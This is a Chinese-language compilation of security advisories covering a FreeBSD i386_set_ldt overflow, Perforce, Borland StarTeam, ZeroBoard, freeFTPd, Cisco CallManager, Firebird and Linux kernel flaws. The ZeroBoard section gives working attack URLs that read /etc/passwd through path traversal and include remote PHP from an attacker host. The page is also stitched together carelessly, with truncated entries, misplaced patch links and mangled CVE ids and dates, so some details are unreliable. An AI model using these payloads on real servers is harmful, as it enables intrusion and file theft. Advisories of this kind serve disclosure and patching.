下面就是小编给大家带来的FreeBSD I386SetLDT多个本地拒绝服务漏洞(共含9篇),希望大家喜欢,可以帮助到有需要的朋友!同时,但愿您也能像本文投稿人“星星有张满月脸”一样,积极向本站投稿分享好文章。
受影响系统:FreeBSD FreeBSD 5.5
FreeBSD FreeBSD 5.4
FreeBSD FreeBSD 5.3
FreeBSD FreeBSD 5.2描述:
BUGTRAQ ID: 8CVE(CAN) ID: CVE--4178,CVE-2006-4172
FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统,
FreeBSD中的i386_set_ldt调用允许用户系统的程序动态管理每个进程的本地描述符表。由于使用了有符号的整数且缺少输入验证,内核中bzero可能会被要求处理很大的参数,漏洞代码如下:
415 int error = 0, i;
416 int largest_ld;
..
449 largest_ld = uap->start + uap->num;
450 if (largest_ld >pldt->ldt_len)
451 largest_ld = pldt->ldt_len;
452 i = largest_ld - uap->start;
453 bzero(&((union descriptor *)(pldt->ldt_base))[uap->start],
454 sizeof(union descriptor) * i);
在415和416行,“i”和“largest_ld”变量都是有符的整数。在449行,同时添加了uap->start和uap->num,这两个变量都是用户控制的且没有经过正确的检查。在452行,可以将“i”设置为很大的负值,导致在453行以很大的长度参数调用bzero。无效的内存访问会导致内核忙碌。
i386_set_ldt()系统调用会在LDT中设置当前进程的i386描述符列表。该调用接受一个开始选择器数(start)、包含有将要设置描述符的内存数组(descs),以及将要设置的条目数(num)。用户在通过sysarch()调用i386_set_ldt()时,如果将start参数设置为很低的整数值、将descs设置为非空的值,并将num设置为很高的无符整数值,就会触发largest_ld和descs_size(533和540行)中的整数溢出,导致耗尽所有可用的系统资源(541行)。此外还可以将start参数设置为低整数值、descs设置为空、num设置为很高的无符整数值触发largest_ld(515行)中的整数溢出,导致删除系统中的敏感数据(519和520行)。有漏洞的函数如下:
476 static int
477 i386_set_ldt(td, args)
478 struct thread *td;
479 char *args;
480 {
481 int error = 0, i;
482 int largest_ld;
483 struct mdproc *mdp = &td->td_proc->p_md;
484 struct proc_ldt *pldt = 0;
485 struct i386_ldt_args ua, *uap = &ua;
486 union descriptor *descs, *dp;
487 int descs_size;
488
489 if ((error = copyin(args, uap, sizeof(struct
i386_ldt_args))) < 0)
490 return(error);
491
492 #ifdef DEBUG
493 printf(“i386_set_ldt: start=%d num=%d descs=%p\n”,
494 uap->start, uap->num, (void *)uap->descs);
495 #endif
496
497 if (uap->descs == NULL) {
498 /* Free descriptors */
499 if (uap->start == 0 && uap->num == 0) {
500 /*
501 * Treat this as a special case, so userland
needn't
502 * know magic number NLDT.
503 */
504 uap->start = NLDT;
505 uap->num = MAX_LD - NLDT;
506 }
507 if (uap->start <= LUDATA_SEL || uap->num <= 0)
508 return (EINVAL);
509 mtx_lock_spin(&sched_lock);
510 pldt = mdp->md_ldt;
511 if (pldt == NULL || uap->start >= pldt->ldt_len) {
512 mtx_unlock_spin(&sched_lock);
513 return (0);
514 }
515 largest_ld = uap->start + uap->num;
516 if (largest_ld >pldt->ldt_len)
517 largest_ld = pldt->ldt_len;
518 i = largest_ld - uap->start;
519 bzero(&((union descriptor
*)(pldt->ldt_base))[uap->start],
520 sizeof(union descriptor) * i);
521 mtx_unlock_spin(&sched_lock);
522 return (0);
523 }
524
525 if (!(uap->start == LDT_AUTO_ALLOC && uap->num == 1)) {
526 /* complain a for a while if using old methods */
527 if (ldt_warnings++ < NUM_LDT_WARNINGS) {
528 printf(“Warning: pid %d used static ldt
allocation.\n”,
529 td->td_proc->p_pid);
530 printf(“See the i386_set_ldt man page for
more info\n”);
531 }
532 /* verify range of descriptors to modify */
533 largest_ld = uap->start + uap->num;
534 if (uap->start >= MAX_LD ||
535 uap->num < 0 || largest_ld >MAX_LD) {
536 return (EINVAL);
537 }
538 }
539
540 descs_size = uap->num * sizeof(union descriptor);
541 descs = (union descriptor *)kmem_alloc(kernel_map, descs_size);
542 if (descs == NULL)
543 return (ENOMEM);
544 error = copyin(uap->descs, descs, descs_size);
545 if (error) {
546 kmem_free(kernel_map, (vm_offset_t)descs, descs_size);
547 return (error);
548 }
549
<*来源:Adriano Lima (adriano@risesecurity.org)
Rodrigo Rubira Branco (rodrigo@risesecurity.org)
链接:marc.theaimsgroup.com/?l=bugtraq&m=115919812814071&w=2
www.idefense.com/intelligence/vulnerabilities/display.php?id=415
www.idefense.com/intelligence/vulnerabilities/display.php?id=414
*>
建议:
厂商补丁:FreeBSD
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
www.freebsd.org/security/
受影响系统:Perforce Software Perforce Server <= .3/143793描述:--------------------------------------------------------------------------------BUGTRAQ ID: 28108Perforce软件配置管理系统是客户端/服务器架构的SCM工具,用户可通过P
受影响系统:Perforce Software Perforce Server <= 2007.3/143793
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 28108
Perforce软件配置管理系统是客户端/服务器架构的SCM工具,用户可通过Perforce客户端软件访问其服务端,
如果客户端请求中缺少某些参数的话,由于Perforce服务器中从报文中获得这些值的函数对返回的指针缺少检查,因此可能会触发空指针引用。这个漏洞影响dm-FaultFile、dm-LazyCheck、dm-ResolvedFile、dm-OpenFile、crypto等命令。
如果客户端向Perforce服务器发送了server-DiffFile和server-ReleaseFile命令的话,就会将客户端所提供的32位数用作数组初始化中的元素数;畸形的server-DiffFile命令会强制服务器限制死循环,导致耗尽所有内存和系统资源后服务终止,
<*来源:Luigi Auriemma (aluigi@pivx.com)
链接:marc.info/?l=bugtraq&m=120475134221716&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
aluigi.org/poc/perforces.zip
建议:
--------------------------------------------------------------------------------
厂商补丁:
Perforce Software
-----------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.perforce.com/
受影响系统: Borland StarTeam server <= 10.0.0.57 Borland StarTeam MPX <= 6.7 描述: Borland Starteam是Borland公司ALM生命周期管理的核心工具,是目前市面上最好的软件配置管理工具之一, Starteam服务器没有正确地计算为从客户端所
受影响系统:Borland StarTeam server 2008 <= 10.0.0.57
Borland StarTeam MPX <= 6.7 描述:
Borland Starteam是Borland公司ALM生命周期管理的核心工具,是目前市面上最好的软件配置管理工具之一。 Starteam服务器没有正确地计算为从客户端所接收到的某些数组所需分配的内存数,导致多个整数溢出漏洞。在PROJECT_LOGIN和SET_SERVER_ACL命令中,有32位从客户端所接收到的用于指定报文中条目数量的数字分别被乘以8(或4,具体取决于文件名名称或规范)和12,然后未经考虑32位的限制便将结果用于分配内存,这可能触发堆溢出,允许攻击者控制某些寄存器,导致执行恶意指令。但攻击者必须拥有有效帐号才能利用这些漏洞。 StarTeam MPX也存在多个溢出和拒绝服务漏洞: ------------------------------------------------------------
A] 剩余数据计算整数溢出
------------------------------------------------------------ STMessageBroker67和STMulticastService67进程所使用的TmsgBufMsgDeserializeEx函数用于对入站数据执行还原序列化操作,
协议由报文中顺序排列的三类数据组成:列表,数组(16字节固定大小)和剩余数据。在计算剩余数据大小时存在整数溢出,如果使用了少于报文中所指定的数组数量的话,就可以触发这个溢出。但成功利用这个漏洞只能导致服务崩溃,因为无法利用任意数据覆盖服务器的内存。 ---------------------------------------------
B] 列表处理堆溢出
--------------------------------------------- 列表中包含的初始32位值指定报文中列表组所占的字节数,其中每个列表为16位大小值,之后为其中所声明数量的数据。由于服务器没有检查目标缓冲区的大小,允许攻击者利用之后的堆溢出导致服务崩溃或执行任意指令。 ---------------------------------------------------
C] 无法分配内存导致进程终止
--------------------------------------------------- 用于计算所要分配的以下数据数量时: 报文大小
列表大小
数组数 * 16
头大小 如果无法分配上述大小数量内存的话,就会导致服务器终止。 厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: www.borland.com/
本文作者: 剑心[B.C.]
发布日期:.1.13
漏洞概述:
ZeroBoard是一款在Korea使用广泛的用于web论坛程序,最近在ZeroBoard中发现了多个漏洞,这些漏洞允许一些服务器上敏感信息被泄露,或者导致任意的Php脚本文件被包含并且执行。
漏洞发现:由SSR小组提供漏洞信息。
漏洞细节:
1)文件泄露漏洞
利用这个漏洞需要的系统环境:
Php.ini中以下内容必须这样设置:magic_quotes_gpc = off(注意:outlogin.php只有在Php 5.x下运行时才存在漏洞。)
漏洞描述:
当magic_quotes_gpc设置为off时,Php将丢弃含有NULL空字符的输入变量。
可以在_head.php中找到以下的漏洞代码:
if(eregi(“:\/\/”,$_zb_path)) $_zb_path=“”;
include $_zb_path.“lib.php”;}
也可以在include/write.php中发现以下的漏洞代码:
if(eregi(“:\/\/”,$dir)) $dir=“.”;
include $dir.“/write.php”;
还有outlogin.php中的漏洞代码:
if(eregi(“:\/\/”,$_zb_path)) $_zb_path=“./”;
[snip]
@include $_zb_path.“_head.php”;
漏洞证明:
以下的任何一个URL将触发这个漏洞。
[victim]/_head.php?_zb_path=../../../../../etc/passwd%00
[victim]/include/write.php?dir=../../../../../etc/passwd%00
[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00
2)Php原代码注射漏洞
所需的系统环境:
Php.ini中以下内容必须这样设置:: register_globals = On and/or allow_url_fopen = On.
漏洞描述:
在print_category.php中使用的$dir变量没有初始化,于是允许远程攻击者包含任意处于其他服务器上的文件,
漏洞证明:
以下的任何一个URL将触发这个漏洞。
[victim]/include/print_category.php?setup[use_category]=1&dir=[attacker]/
[victim]/skin/zero_vote/login.php? dir=[attacker]/
[victim]/skin/zero_vote/setup.php? dir=[attacker]/
[victim]/skin/zero_vote/ask_password.php? dir=[attacker]/
[victim]/skin/zero_vote/error.php? dir=[attacker]/
在include/print_category.php中发现的漏洞代码:
在skin/zero_vote/login.php, skin/zero_vote/setup.php与/zero_vote/setup.php中发现的漏洞代码:
非正式补丁:
在没有官方正式补丁的情况下我们建议你按照以下建议修改原文件:
ZeroBoard 版本4.1pl5
修改_head.php的13行如下:
if ( eregi(“:\/\/”,$_zb_path) || eregi(“\.\.”,$_zb_path)) $_zb_path=“”;
修改include/write.php的16行如下:
if( eregi(“:\/\/”,$dir) || eregi(“\.\.”,$dir)) $dir=“.”;
修改outlogin.php的50行如下:
if ( eregi(“:\/\/”,$_zb_path) || eregi(“\.\.”,$_zb_path)) $_zb_path=“./”;
将以下的代码插入到include/print_category.php的第3行:
if( eregi(“:\/\/”,$dir) || eregi(“\.\.”,$dir)) $dir=“.”;
修改skin/zero_vote/login.php的第1行,skin/zero_vote/setup.php的42行,skin/zero_vote/ask_password.php的第1行,skin/zero_vote/error.php的第1行如下:
“$dir/value.php3”; ?>
受影响系统:
freeFTPd freeFTPd 1.0.10
描述:
FreeFTPd是一款基于WeOnlyDo FTP/SFTP实现的免费FTP SSL/SFTP服务器,由于没有正确处理用户输入导致FreeFTPd中存在多个拒绝服务漏洞。登录用户可以通过发送端口命令并附加数字(如PORT 123)导致服务崩溃,或发送有用户提供数据的PASV命令导致服务器僵死,
补丁下载:
* Sylpheed Upgrade sylpheed-1.0.6.tar.gzsylpheed.good-day.net/sylpheed/v1.0/sylpheed-1.0.6.tar.gz* Sylpheed Upgrade sylpheed-2.0.4.tar.gzsylpheed.good-day.net/sylpheed/v2.0/sylpheed-2.0.4.tar.gz
成功利用这些漏洞会导致拒绝服务攻击,造成高CPU使用率、中断服务或重启服务器,然后可能导致电话无法响应、从CCM注销电话或CCM重启,
详细描述:
Cisco CallManager(CCM)是Cisco IP电话解决方案的基于软件的呼叫处理组件。 P
一些CCM版本没有主动管理TCP连接和Windows消息,导致一些公开的发布端口受拒绝服务攻击影响:
1 CCM没有足够主动的超时到端口的TCP连接,导致足够多的开放连接会耗尽内存和CPU资源。在特定的情况下,CCM会无限期的保持TCP连接开放,直到重启CCM服务或重启服务器。
2 多个到、或7727端口的连接会充满Windows消息队列,导致CCM无法处理Windows Service Manager,在30秒超时后重启CCM,
成功利用这些漏洞会导致拒绝服务攻击,造成高CPU使用率、中断服务或重启服务器,然后可能导致电话无法响应、从CCM注销电话或CCM重启。
受影响系统:
Cisco Call Manager = 3.2
Cisco Call Manager 4.1
Cisco Call Manager 4.0
Cisco Call Manager 3.3
补丁下载:
Cisco
-----
Cisco已经为此发布了一个安全公告(cisco-sa-0118-ccmdos)以及相应补丁:
cisco-sa-20060118-ccmdos:Cisco Call Manager Denial of Service
链接:www.cisco.com/warp/public/707/cisco-sa-20060118-ccmdos.shtml
/* CSS Document */
Firebird是一款提供多个ANSI SQL-92功能的关系型数据库,可运行在Linux、Windows和各种Unix平台下,
在Firebird的src/remote/server.cpp文件中,process_packet2函数负责处理从客户端发送过来的报文。这个函数有一个switch语句考虑协议中所定义的所有可能的opcode。
/-----------
src/remote/server.cpp:
...
3404 P_OP p = receive->p_operation;
3405 switch (op)
3406 {
3407 case op_connect:
...
3426 case op_compile:
...
3430 case op_attach:
...
- -----------/
在op_connect_request报文的情况下,执行流进入switch语句的以下case:
/-----------
src/remote/server.cpp:
...
3584 case op_connect_request:
3585 aux_request(port, &receive->p_req, sendL);
3586 break;
- -----------/
在调用aux_request()函数并执行break语句后,执行流到达:
/-----------
src/remote/server.cpp:
...
3652 if (port && port->port_state == state_broken) {
3653 if (!port->port_parent) {
3654 gds__log(“SERVER/process_packet: broken port, server exiting”);
3655 port->disconnect(sendL, receive);
3656 ThreadData::restoreSpecific();
3657 return false;
3658 }
3659 port->disconnect(sendL, receive);
3660 port = NULL;
3661 }
- -----------/
通过在接收到op_connect_request报文时调试fbserver.exe二进制程序可以看出满足了第一个if语句的条件,但没有满足第二个if的条件,因此执行流到达port->disconnect()调用:
/-----------
005ACE2C |> 837E 0C 03 CMP DWORD PTR DS:[ESI+C],3
;port->port_state == state_broken ?
005ACE30 |. 75 1B JNZ SHORT fbserver.005ACE4D
005ACE32 |. 837E 1C 00 CMP DWORD PTR DS:[ESI+1C],0
;port->port_parent == 0?
005ACE36 |. 75 0A JNZ SHORT fbserver.005ACE42
;this conditional jump is taken
005ACE38 |. 68 D4D65F00 PUSH fbserver.005FD6D4
; ASCII “SERVER/process_packet: broken port, server exiting”
005ACE3D |.^ E9 44FDFFFF JMP fbserver.005ACB86
005ACE42 |> 53 PUSH EBX
; /Arg2
005ACE43 |. 57 PUSH EDI
; |Arg1
005ACE44 |. 8BCE MOV ECX,ESI
; |
005ACE46 |. E8 65D7FFFF CALL
; /port->disconnect(sendL, receive)
- -----------/
根据src/remote/remote.h中的定义,port的类型为struct rem_port,
这种结构类型在src/remote/server.cpp中实现了disconnect()函数:
/-----------
src/remote/server.cpp:
1464 void rem_port::disconnect(PACKET* sendL, PACKET* receiveL)
- -----------/
在这个函数中执行以下代码以释放发送和接收的报文并关闭相关的套接字:
/-----------
src/remote/server.cpp:
[1] [2] 下一页
受影响系统:FreeBSD FreeBSD 7.0FreeBSD FreeBSD 6.3FreeBSD FreeBSD 6.2FreeBSD FreeBSD 6.1FreeBSD FreeBSD 5.5FreeBSD FreeBSD 5.0描述:FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统,FreeBSD在处理pty的
受影响系统:FreeBSD FreeBSD 7.0
FreeBSD FreeBSD 6.3
FreeBSD FreeBSD 6.2
FreeBSD FreeBSD 6.1
FreeBSD FreeBSD 5.5
FreeBSD FreeBSD 5.0描述:
FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统,
FreeBSD在处理pty的权限时存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。FreeBSD的openpty()函数在为打开的伪终端设置权限时存在错误,恶意的本地用户可以通过执行内部调用了openpty()的程序从非 root用户所打开的pty读取文本;此外ptsname(3)函数错误的从/dev中的设备节点名获得了两个字符,但没有核实是否在操作调用用户所拥有的有效pty。pt_chown使用了ptsname(3)的错误结果将pty的所有权更改到调用pt_chown的用户,这样本地用户就可以获得正常情况下应受限的所有权。厂商补丁:
FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-08:01)以及相应补丁:
FreeBSD-SA-08:01:pty snooping
链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-08:01.pty.asc
受影响系统:Linux kernel <= 2.6.17.8不受影响系统:Linux kernel 2.6.17.11描述:
BUGTRAQ ID: 19702CVE(CAN) ID: CVE-2006-4538
Linux Kernel是开放源码操作系统Linux所使用的内核,
Linux Kernel的IA64和SPARC平台版本在处理某些ELF文件时存在漏洞,可能在跨区域映射时导致系统崩溃,本地攻击者可能利用此漏洞对系统执行拒绝服务攻击,
<*来源:Kirill Korotaev (dev@sw.ru)
链接:secunia.com/advisories/21999/
lkml.org/lkml/2006/9/4/116
*>
建议:
厂商补丁:Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
www.kernel.org/pub/linux/kernel/v2.6/patch-2.6.17.11.gz
★ Microsoft Windows图形设备接口库拒绝服务漏洞
★ Linux Kernel畸形ULE报文处理远程拒绝服务漏洞
★ Wordpress插件Pay With Tweet = 1.1多个缺陷及修复漏洞预警
★ udev漏洞提升
★ 漏洞整改报告